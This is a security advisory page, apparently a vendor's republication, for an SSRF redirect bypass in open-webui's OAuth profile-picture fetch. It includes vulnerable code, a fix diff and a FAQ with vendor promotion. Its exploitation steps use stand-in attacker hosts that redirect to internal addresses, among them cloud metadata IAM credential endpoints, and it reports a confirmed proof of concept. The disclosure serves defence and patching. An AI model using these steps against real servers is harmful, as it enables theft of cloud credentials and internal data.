CVE-2026-54008

backend/open_webui/utils/oauth.py::_process_picture_url (v0.9.5, lines 1435-1470) calls validate_url(picture_url) on the initial URL only, then invokes aiohttp.ClientSession.get(picture_url, ...) without allow_redirects=False. aiohttp's default is allow_redirects=True, max_redirects=10; the function does not pass the project's AIOHTTP_CLIENT_ALLOW_REDIRECTS env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own profile_image_url field.

This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — SafeWebBaseLoader._scrape, _fetch, get_content_from_url, load_url_image, get_image_base64_from_url — none in utils/oauth.py.

Vulnerable code (v0.9.5)

backend/open_webui/utils/oauth.py, lines 1435-1470:

async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)                              # initial URL only

        get_kwargs = {}
        if access_token:
            get_kwargs['headers'] = {'Authorization': f'Bearer {access_token}'}
        async with aiohttp.ClientSession(trust_env=True) as session:
            async with session.get(picture_url, **get_kwargs,
                                   ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            #                       ^^^^^^^^^^^ no allow_redirects=False
                if resp.ok:
                    picture = await resp.read()
                    base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
                    if guessed_mime_type is None:
                        guessed_mime_type = 'image/jpeg'
                    return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'
                ...

The function is invoked at oauth.py:1556 (new-user OAuth signup) and oauth.py:1536 (existing-user picture update on login). Neither call site re-validates after redirect-following.

backend/open_webui/retrieval/web/utils.py (v0.9.5) imports the env constant AIOHTTP_CLIENT_ALLOW_REDIRECTS at line 51 and uses it on the five paths patched by CVE-2026-45401. utils/oauth.py does not import or reference it.

Exploitation

Preconditions:

• ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (common in production OAuth-IdP deployments)
• Attacker has a valid identity on the configured OAuth IdP (Google, Microsoft, GitHub, or any generic OIDC provider)

Steps:

1. Attacker hosts a redirect endpoint at http://attacker.example/r on a public IP. validate_url("http://attacker.example/r") returns True (is_global=True for public IPs).
2. Attacker sets their IdP picture claim to http://attacker.example/r.
3. Attacker signs in to open-webui via OAuth. open-webui invokes _process_picture_url("http://attacker.example/r", ...).
4. validate_url accepts the public URL. session.get("http://attacker.example/r") is invoked.
5. attacker.example responds HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags. (Or http://169.254.169.254/latest/meta-data/iam/security-credentials/, RFC1918 internal services, etc.)
6. aiohttp follows the redirect server-side. No re-validation.
7. The internal response body is read into picture, base64-encoded, and stored as profile_image_url = "data:image/jpeg;base64,..." on the attacker's account.
8. Attacker reads back via GET /api/v1/auths/. Decode the base64 payload to get the full internal response body.

Distinction from prior CVEs

Affected versions

Vulnerable: <= 0.9.5
Fix: 0.9.6

References

• CVE-2026-45401 / GHSA-rh5x-h6pp-cjj6 (parent cluster, redirect-bypass on 5 paths)
• CVE-2026-45338 / GHSA-24c9-2m8q-qhmh (original _process_picture_url SSRF, patched v0.9.0)
• CVE-2026-45400 / GHSA-8w7q-q5jp-jvgx (validate_url parser-disagreement bypass, patched v0.9.5)
• open-webui issue #24560 (corroborates that the v0.9.5 redirect-fix was applied piecemeal across call sites)

Proof of Concept

End-to-end PoC executed against ghcr.io/open-webui/open-webui:v0.9.5 in Docker compose. Three services: attacker (OIDC IdP + 302-redirect endpoint on evil.example.com:9001/redirect), canary (internal target on internal-target.local:9002/sentinel), open-webui v0.9.5.

Fresh-CSPRNG sentinel generated after OAuth state-establishing call (per Gate 5.5 oracle protocol): SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09.

Result:

• profile_image_url field after OAuth login: data:image/jpeg;base64,U1NSRi1QT0MtNTU4MDExMWIyYTBkN2QwYzgzMjRiZmE5MmEwZDlkMDk=
• Base64 decode: SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09 (byte-for-byte sentinel match)
• Canary log: !!! SSRF HIT - sentinel served

Chain confirmed: OAuth login → IdP returns picture claim evil.example.com:9001/redirect → validate_url() accepts FQDN → aiohttp.ClientSession.get(...) follows 302 to internal-target.local:9002/sentinel server-side without re-validation → response body base64-encoded into attacker's profile_image_url → readable via GET /api/v1/auths/.

PoC artifacts (compose, attacker server, canary, run/verify scripts, full transcript) available on request.

Reporter

Matteo Panzeri — GitHub: matte1782, contact: [email protected]. Requesting CVE credit as Matteo Panzeri.

Full-read SSRF, identical read-back primitive to CVE-2026-45338:

• Cloud metadata services (AWS IMDSv1 at 169.254.169.254, GCP metadata.google.internal, Azure IMDS) → IAM credentials, managed-identity tokens
• Localhost-bound services (Ollama at :11434, Redis, Elasticsearch, internal Postgres exporters)
• RFC1918 internal infrastructure not exposed to the internet

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-54008 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.6); upgrading removes the vulnerable code path.

Kodem intelligence

async with session.get(
    picture_url,
    **get_kwargs,
    ssl=AIOHTTP_CLIENT_SESSION_SSL,
    allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS,   # add
) as resp:

Or, if redirects must remain enabled by default, wrap in a manual-follow loop that re-invokes validate_url() on each Location header. This mirrors the fix shape applied to the five paths in CVE-2026-45401.

1. What is CVE-2026-54008? CVE-2026-54008 is a high-severity server-side request forgery (SSRF) vulnerability in open-webui (pip), affecting versions <= 0.9.5. It is fixed in 0.9.6. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-54008? CVE-2026-54008 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-54008? open-webui (pip) versions <= 0.9.5 is affected.
4. Is there a fix for CVE-2026-54008? Yes. CVE-2026-54008 is fixed in 0.9.6. Upgrade to this version or later.
5. Is CVE-2026-54008 exploitable, and should I be worried? Whether CVE-2026-54008 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54008 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54008? Upgrade open-webui to 0.9.6 or later.